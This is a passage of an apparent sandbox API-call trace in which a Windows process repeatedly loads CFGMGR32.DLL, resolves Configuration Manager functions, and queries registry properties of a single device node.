lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0197.459] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0197.460] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0197.460] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0197.460] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0197.460] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0197.460] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0197.460] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0197.460] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0197.460] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0197.461] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0197.461] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0197.461] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0197.461] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0197.461] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0197.461] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0197.461] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0197.462] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0197.462] malloc (_Size=0x18) returned 0x196ef0d1c40 [0197.462] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2e, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0197.462] malloc (_Size=0x124) returned 0x196ef0d6890 [0197.462] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2e, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608) returned 0x0 [0197.463] free (_Block=0x196ef0d6890) [0197.463] malloc (_Size=0x48) returned 0x196ef0fb950 [0197.463] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x568c502e, dwHighDateTime=0x1d9eb0c)) [0197.463] SetEvent (hEvent=0x248) returned 1 [0197.467] malloc (_Size=0x18) returned 0x196ef0d20c0 [0197.467] SafeArrayPutElement (psa=0x196ee7bf6a0, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0197.467] free (_Block=0x196ef0d20c0) [0197.467] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0197.467] SafeArrayPutElement (psa=0x196ee7bf6a0, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0197.467] free (_Block=0x196ef0d1ee0) [0197.467] malloc (_Size=0x18) returned 0x196ef0d1b60 [0197.467] SafeArrayPutElement (psa=0x196ee7bf6a0, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0197.468] free (_Block=0x196ef0d1b60) [0197.468] malloc (_Size=0x18) returned 0x196ef0d1e60 [0197.468] SafeArrayPutElement (psa=0x196ee7bf6a0, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0197.468] free (_Block=0x196ef0d1e60) [0197.468] malloc (_Size=0x18) returned 0x196ef0d1c40 [0197.468] SafeArrayPutElement (psa=0x196ee7bf6a0, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0197.468] free (_Block=0x196ef0d1c40) [0197.472] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0197.472] SafeArrayPutElement (psa=0x196ee7bf6a0, rgIndices=0x67117d6d8, pv=0x196ee7aa9e8) returned 0x0 [0197.472] free (_Block=0x196ef0d1bc0) [0197.472] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855860 [0197.472] SafeArrayGetDim (psa=0x196ee7bf6a0) returned 0x1 [0197.472] SafeArrayGetLBound (in: psa=0x196ee7bf6a0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0197.472] SafeArrayGetUBound (in: psa=0x196ee7bf6a0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0197.472] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6230 [0197.472] SafeArrayGetDim (psa=0x196ee7bf6a0) returned 0x1 [0197.472] SafeArrayGetUBound (in: psa=0x196ee7bf6a0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0197.472] SafeArrayGetElemsize (psa=0x196ee7bf6a0) returned 0x8 [0197.473] SafeArrayGetElement (in: psa=0x196ee7bf6a0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0197.473] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee10, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0197.473] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee18, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0197.475] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee20, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0197.475] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee28, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0197.475] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee30, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0197.476] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee38, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0197.476] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6230) returned 1 [0197.477] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855860) returned 1 [0197.481] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0197.481] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0197.482] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0197.482] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0197.482] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0197.482] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0197.482] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0197.483] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0197.483] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0197.483] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0197.483] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0197.699] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0197.700] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0197.700] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0197.700] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0197.700] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0197.700] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0197.700] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0197.701] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0197.701] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0197.701] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0197.701] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0197.701] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0197.701] malloc (_Size=0x18) returned 0x196ef0d20e0 [0197.702] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2e, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0197.702] malloc (_Size=0x4) returned 0x196ef0d6c80 [0197.702] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2e, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d6c80, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d6c80, pulLength=0x67117d608) returned 0x0 [0197.702] free (_Block=0x196ef0d6c80) [0197.702] malloc (_Size=0x48) returned 0x196ef0fb2c0 [0197.702] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x56b1b271, dwHighDateTime=0x1d9eb0c)) [0197.702] SetEvent (hEvent=0x248) returned 1 [0197.705] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0197.705] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0197.706] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0197.706] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0197.706] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0197.706] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0197.706] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0197.706] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0197.707] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0197.707] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0197.707] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0197.707] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0197.707] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0197.707] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0197.708] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0197.708] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0197.708] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0197.708] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0197.708] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0197.708] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0197.709] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0197.709] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0197.709] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0197.709] malloc (_Size=0x18) returned 0x196ef0d19e0 [0197.709] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2e, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0197.713] malloc (_Size=0x48) returned 0x196ef0fb310 [0197.713] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x56b41411, dwHighDateTime=0x1d9eb0c)) [0197.714] SetEvent (hEvent=0x248) returned 1 [0197.717] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0197.717] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0197.717] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0197.717] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0197.718] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0197.718] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0197.718] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0197.718] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0197.718] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0197.718] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0197.719] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0197.719] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0197.719] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0197.719] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0197.719] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0197.719] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0197.719] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0197.720] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0197.720] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0197.720] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0197.720] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0197.720] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0197.720] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0197.720] malloc (_Size=0x18) returned 0x196ef0d1be0 [0197.720] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2e, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0197.721] malloc (_Size=0x48) returned 0x196ef0fb2c0 [0197.721] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x56b41411, dwHighDateTime=0x1d9eb0c)) [0197.721] SetEvent (hEvent=0x248) returned 1 [0197.724] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0197.724] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0197.725] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0197.725] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0197.725] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0197.725] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0197.725] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0197.725] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0197.726] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0197.726] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0197.726] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0197.726] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0197.726] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0197.726] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0197.727] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0197.727] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0197.727] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0197.727] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0197.727] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0197.727] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0197.727] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0197.727] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0197.728] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0197.728] malloc (_Size=0x18) returned 0x196ef0d1a40 [0197.728] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2e, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0197.728] malloc (_Size=0x48) returned 0x196ef0fbef0 [0197.728] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x56b67a82, dwHighDateTime=0x1d9eb0c)) [0197.728] SetEvent (hEvent=0x248) returned 1 [0197.732] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0197.732] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0197.732] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0197.732] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0197.732] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0197.732] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0197.733] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0197.733] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0197.733] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0197.733] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0197.733] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0197.733] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0197.733] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0197.734] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0197.734] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0197.734] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0197.734] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0197.734] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0197.734] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0197.735] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0197.735] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0197.735] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0197.735] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0197.735] malloc (_Size=0x18) returned 0x196ef0d1f60 [0197.735] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2e, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0197.736] malloc (_Size=0x48) returned 0x196ef0fb450 [0197.736] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x56b67a82, dwHighDateTime=0x1d9eb0c)) [0197.736] SetEvent (hEvent=0x248) returned 1 [0197.742] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0197.742] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0197.742] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0197.742] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0197.743] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0197.743] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0197.743] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0197.743] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0197.743] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0197.743] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0197.744] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0197.744] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0197.744] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0197.744] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0197.744] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0197.744] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0197.745] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0197.745] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0197.745] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0197.745] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0197.745] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0197.745] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0197.746] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0197.746] malloc (_Size=0x18) returned 0x196ef0d1cc0 [0197.746] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2e, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0197.754] malloc (_Size=0x48) returned 0x196ef0fb720 [0197.754] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x56b8da62, dwHighDateTime=0x1d9eb0c)) [0197.754] SetEvent (hEvent=0x248) returned 1 [0197.921] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0197.921] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0197.921] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0197.921] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0197.921] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0197.922] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0197.922] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0197.922] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 